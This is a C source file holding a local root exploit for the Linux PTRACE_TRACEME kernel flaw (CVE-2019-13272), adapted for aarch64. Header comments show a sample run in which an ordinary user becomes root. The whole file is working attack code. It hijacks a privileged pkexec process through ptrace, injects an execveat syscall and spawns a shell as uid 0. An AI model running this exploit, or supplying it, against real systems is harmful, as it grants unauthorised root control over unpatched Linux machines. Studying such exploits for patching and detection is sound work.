// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <chengjia4574@gmail.com>
// - Add aarch64 support on 20191219
// - The exploit had been tested in: ubuntu-18.04.3-server-arm64 
// -
// - root@ubuntu:~/EXP# sh make.sh 
// - # uname -a
// - Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:23:38 UTC 2019 aarch64 aarch64 aarch64 GNU/Linux
// - $ id
// - uid=1001(test) gid=1001(test) groups=1001(test)
// - $ /tmp/exp
// - [896] attached to midpid: 897
// - # id
// - uid=0(root) gid=0(root) groups=0(root),1001(test)


#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <err.h>
#include <signal.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <asm/ptrace.h>
#include <linux/elf.h>
#include <dlfcn.h>
#include <errno.h>
#include <sys/user.h>
#include <sys/uio.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <syslog.h>

#define SAFE(expr) ({                   \
  typeof(expr) __res = (expr);          \
  if (__res == -1) syslog(LOG_ERR, "%s", #expr); \
  __res;                                \
})

#define max(a,b) ((a)>(b) ? (a) : (b))
#define CPSR_T_MASK     ( 1u << 5 )  
#define pt_regs         user_pt_regs    
#define uregs   regs  
#define ARM_pc  pc  
#define ARM_sp  sp  
#define ARM_cpsr    pstate  
#define ARM_lr      regs[30]  
#define ARM_r0      regs[0]    
#define PTRACE_GETREGS PTRACE_GETREGSET  
#define PTRACE_SETREGS PTRACE_SETREGSET  

static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;

char *pkexec_path = "/tmp/fakepkexec";
char *helper_path = "/tmp/fakehelper";
char *shell_path = "/bin/sh";

/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
  static char buf[10000];
  va_list ap;
  va_start(ap, fmt);
  vsprintf(buf, fmt, ap);
  va_end(ap);
  return buf;
}

static int middle_main(void *dummy) {
  prctl(PR_SET_PDEATHSIG, SIGKILL);
  pid_t middle = getpid();
  sleep(1);
  self_fd = SAFE(open("/proc/self/exe", O_RDONLY));

  pid_t child = SAFE(fork());
  if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    SAFE(dup2(self_fd, 42));

    /* spin until our parent becomes privileged (have to be fast here) */
    int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
    char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
    while (1) {
      char buf[1000];
      ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
      buf[buflen] = '\0';
      if (strstr(buf, needle)) break;
    }

    /*
     * this is where the bug is triggered.
     * while our parent is in the middle of pkexec, we force it to become our
     * tracer, with pkexec's creds as ptracer_cred.
     */
    SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));

    /*
     * now we execute passwd. because the ptrace relationship is considered to
     * be privileged, this is a proper suid execution despite the attached
     * tracer, not a degraded one.
     * at the end of execve(), this process receives a SIGTRAP from ptrace.
     */
    execl(pkexec_path, basename(pkexec_path), NULL);
    err(1, "execl passwd");
  }
  SAFE(dup2(self_fd, 0));
  SAFE(dup2(block_pipe[1], 1));

  struct passwd *pw = getpwuid(getuid());
  if (pw == NULL) err(1, "getpwuid");

  middle_success = 1;
  execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
        helper_path,
        "--help", NULL);
  middle_success = 0;
  err(1, "execl pkexec");
}


static void force_exec_and_wait(pid_t target_pid, int exec_fd, char *arg0)
{
	int i, ret = -1;      
	struct pt_regs regs;       

	syslog(LOG_ERR,"[%d] %d Injecting process: %d\n", getpid(), __LINE__, target_pid);      
	struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };

	SAFE(ptrace(PTRACE_SYSCALL, target_pid, 0, NULL));
	SAFE(waitpid(target_pid, &dummy_status, 0));

	int syscallno;
	struct iovec iov2 = { .iov_base = &syscallno, .iov_len = sizeof(syscallno)};
	SAFE(ptrace(PTRACE_GETREGSET, target_pid, NT_ARM_SYSTEM_CALL, &iov2));
	syslog(LOG_ERR,"syscallno %d \n", syscallno);
	syscallno = __NR_execveat;
	SAFE(ptrace(PTRACE_SETREGSET, target_pid, NT_ARM_SYSTEM_CALL, &iov2));
	syslog(LOG_ERR,"__NR_execveat %d\n", __NR_execveat);

	SAFE(ptrace(PTRACE_GETREGSET, target_pid, NT_PRSTATUS, &iov));
	unsigned long scratch_area = (regs.ARM_sp - 0x1000) & ~0xfffUL;
	syslog(LOG_ERR,"[+] sp: [0x%llx], pc [0x%llx]\n", regs.ARM_sp, regs.ARM_pc);
	struct injected_page {
		unsigned long argv[2];
		unsigned long envv[1];
		char arg0[8];
		char path[1];
	} ipage;
	memset(&ipage, 0, sizeof(ipage));
	strcpy(ipage.arg0, arg0);
	ipage.argv[0]  = scratch_area + offsetof(struct injected_page, arg0);
	for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
		unsigned long pdata = ((unsigned long *)&ipage)[i];
		ptrace(PTRACE_POKETEXT, target_pid, scratch_area + i * sizeof(long),
					(void*)pdata);
	}
	regs.uregs[0] = exec_fd;
	regs.uregs[1] = scratch_area + offsetof(struct injected_page, path);
	regs.uregs[2] = scratch_area + offsetof(struct injected_page, argv);
	regs.uregs[3] = scratch_area + offsetof(struct injected_page, envv);
	regs.uregs[4] = AT_EMPTY_PATH;
	regs.ARM_lr = 0;
	syslog(LOG_ERR,"[%d] setreg\n", getpid());
	SAFE(ptrace(PTRACE_SETREGSET, target_pid, NT_PRSTATUS, &iov));

	SAFE(ptrace(PTRACE_DETACH, target_pid, 0, NULL));
	SAFE(waitpid(target_pid, &dummy_status, 0));
	syslog(LOG_ERR,"[%d] finish trace\n", getpid());

}

static int middle_stage2(void) {
	/* our child is hanging in signal delivery from execve()'s SIGTRAP */
	syslog(LOG_ERR,"[%d] middle_stage2\n", getpid());
	pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
	force_exec_and_wait(child, 42, "stage3");
	return 0;
}

static int spawn_shell(void) {
	syslog(LOG_ERR,"[%d] spawn_shell\n", getpid());
	SAFE(setresgid(0, 0, 0));
	SAFE(setresuid(0, 0, 0));
	execlp(shell_path, basename(shell_path), NULL);
	err(1, "execlp");
}

int main(int argc, char **argv) {
	if (strcmp(argv[0], "stage2") == 0)
		return middle_stage2();
	if (strcmp(argv[0], "stage3") == 0)
		return spawn_shell();

	openlog("exp-log:",LOG_CONS|LOG_PID,LOG_LOCAL0);
	/*
	 * set up a pipe such that the next write to it will block: packet mode,
	 * limited to one packet
	 */
	SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
	SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
	char dummy = 0;
	SAFE(write(block_pipe[1], &dummy, 1));

	/* spawn pkexec in a child, and continue here once our child is in execve() */
	static char middle_stack[1024*1024];
	pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
				CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));

	if (!middle_success) return 1;

	/*
	 * wait for our child to go through both execve() calls (first pkexec, then
	 * the executable permitted by polkit policy).
	 */
	while (1) {
		int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
		char buf[16];
		int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
		buf[buflen] = '\0';
		*strchrnul(buf, '\n') = '\0';
		if (strncmp(buf, basename(helper_path), 15) == 0)
			break;
		usleep(100000);
	}

	SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
	SAFE(waitpid(midpid, &dummy_status, 0));

	force_exec_and_wait(midpid, 0, "stage2");

	closelog();
	return 0;
}
